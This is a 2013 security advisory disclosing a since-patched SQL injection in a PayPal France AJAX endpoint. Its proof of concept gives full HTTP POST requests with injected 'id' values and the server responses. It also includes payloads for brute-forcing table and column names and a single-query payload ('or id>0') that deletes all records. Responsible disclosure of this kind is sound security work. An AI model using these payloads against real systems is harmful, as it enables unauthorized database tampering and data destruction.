PayPal Bug Bounty #78 FR - Remote SQL Injection Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Title:
======
PayPal Bug Bounty #78 FR - Remote SQL Injection Vulnerability


Date:
=====
2013-05-24


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=878

PayPal Security UID: Sbc8fSB


VL-ID:
=====
878


Common Vulnerability Scoring System:
====================================
7.6


Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online 
money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. 
Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s 
choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a 
predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a 
specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the 
hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money 
out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal 
account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as 
primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit 
cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account 
or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for 
which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on 
the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the 
recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use 
different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, 
California, United 
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, 
Nebraska, Scottsdale, 
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 
2007, across 
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow 
Chinese consumers 
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by 
Anonymous in retaliation 
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked 
US diplomatic cables.

(Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerability in the official Paypal France 
Website Application.


Report-Timeline:
================
2013-02-17:     Researcher Notification & Coordination
2013-02-18:     Vendor Notification
2013-02-20:     Vendor Response/Feedback
2013-05-01:     Vendor Fix/Patch
2013-05-24:     Public Disclosure



Status:
========
Published


Affected Products:
==================
PayPal Inc
Product: France - Core Application 2013 Q1


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A remote SQL Injection via POST request method is detected in the official PayPal France Service Web Application.
The vulnerability allows remote attackers to inject own sql statements to the affected web application dbms.

The vulnerability is located in the in the `ajax_escape_perso_model` (ajax query) when processing to request 
via POST method the bound vulnerable escape_perso_delete id parameter. Manipulation of the POST request allows an 
remote attacker to inject own sql commands and identify table names.

The vulnerability can be exploited by remote attackers with low privilege application user accounts without user 
interaction. 
Successful exploitation of the vulnerability results in web application and dbms compromise via basic update sql 
injection.


Vulnerable Module(s):
                                [+] ajax_espace_perso_model

Vulnerable Parameter(s):
                                [+] espace_perso_delete > id


Proof of Concept:
=================
The remote sql injection web vulnerability can be exploited by remote attackers with low privileged application 
user account and without required user interaction. For demonstration or reproduce ...

Vulnerable Model:
ajax_espace_perso_model  > vulnerable command   >  espace_perso_delete > vulnerable parametere  id

Note:
While intercepting ajax queries, we remarks that delete command was vulnerable to SQL injection :
As you can see this command  "espace_perso_delete" is used to delete contents records .
from the first view , we guess that query type was a delete SQL query , but using [5- SQL statements (information 
leak)] 
we discovered that when we send a delete command ,the application get the id and turn detruit to yes.
                 
detruit=Non --> in this case content is appear from dashboard liste
detruit=YEs --> in this case content is disappear from dashboard liste

Note: That mean the SQL query is an update SQL query that look like the following example : 
                   
update espaceperso set detruit="YES" where id= [SQLI]

Example: 

POST /sifacile/index.php/ajax HTTP/1.1
Host: www.paypal-france.fr:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso
Content-Length: 65
Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484-
122691-2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253A
solution%2520finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; __utma=172493346.307986611.
1360320931.1360956215.1360959238.8; __utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|
utmctr=(not%20provided); source=businesshub; PHPSESSID=ddj17bn73qqkhljskcq0o17c43; s_sess=%20s_cc%3Dtrue%3B%20s_refresh
%3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 and nonexistcolumn=3333
___________________________________________________________________________________________
                                
Response : 
Une erreur de base de données s'est produite.
Contactez l'administrateur 
                                
Note: As you can see in the POST request and we guess that the table name is espacepersoSQL2
                                
POST /sifacile/index.php/ajax HTTP/1.1
Host: www.paypal-france.fr:443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.paypal-france.fr/sifacile/index.php/espace_perso
Content-Length: 65
Cookie: s_pers=%20s_favsn_paypalglobal_1%3D9299968791395%7C1675853730487%3B%20s_ev32%3D%255B%255B'3484-122691-
2056-9'%252C'1360337420905'%255D%255D%7C1518103820905%3B%20gpv_c43%3Dfr%253Amshub%253Asolutions%253Asolution%2520
finder%7C1360722739983%3B%20gpv_events%3Dno%2520value%7C1360722739992%3B; 
__utma=172493346.307986611.1360320931.1360956215.1360959238.8;
 __utmz=172493346.1360334269.3.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); 
source=businesshub; 
PHPSESSID=ddj17bn73qqkhljskcq0o17c43; 
s_sess=%20s_cc%3Dtrue%3B%20s_refresh%3DFR%253AShops%253AHome%257E%255B1%255D%3B%20s_sq%3D%3B; __utmc=172493346
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
model=ajax_espace_perso_model&command=espace_perso_delete&id=1263 or image=3333
___________________________________________________________________________________________

Response : 
                           
{"success":true,"result":{"status":"OK","data":"","code":1}}

Note: After some tests, we was able to identify if a given columnname is valid or not ...

Using this vulnerability ,we was able to 
                 
                 --> Bruteforce tables  : 999999999999 or column=1
                 --> Bruteforce Columns : 999999999999 or tablename.column=1
                 --> Delete all contents: (using one query injection) 
                                          condition 999999999999 or id>0


Solution:
=========
2013-05-01:     Vendor Fix/Patch


Risk:
=====
The security risk of the sql injection web vulnerability via update is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Karim Boudra [kami () vulnerability-lab com]


Disclaimer:
===========
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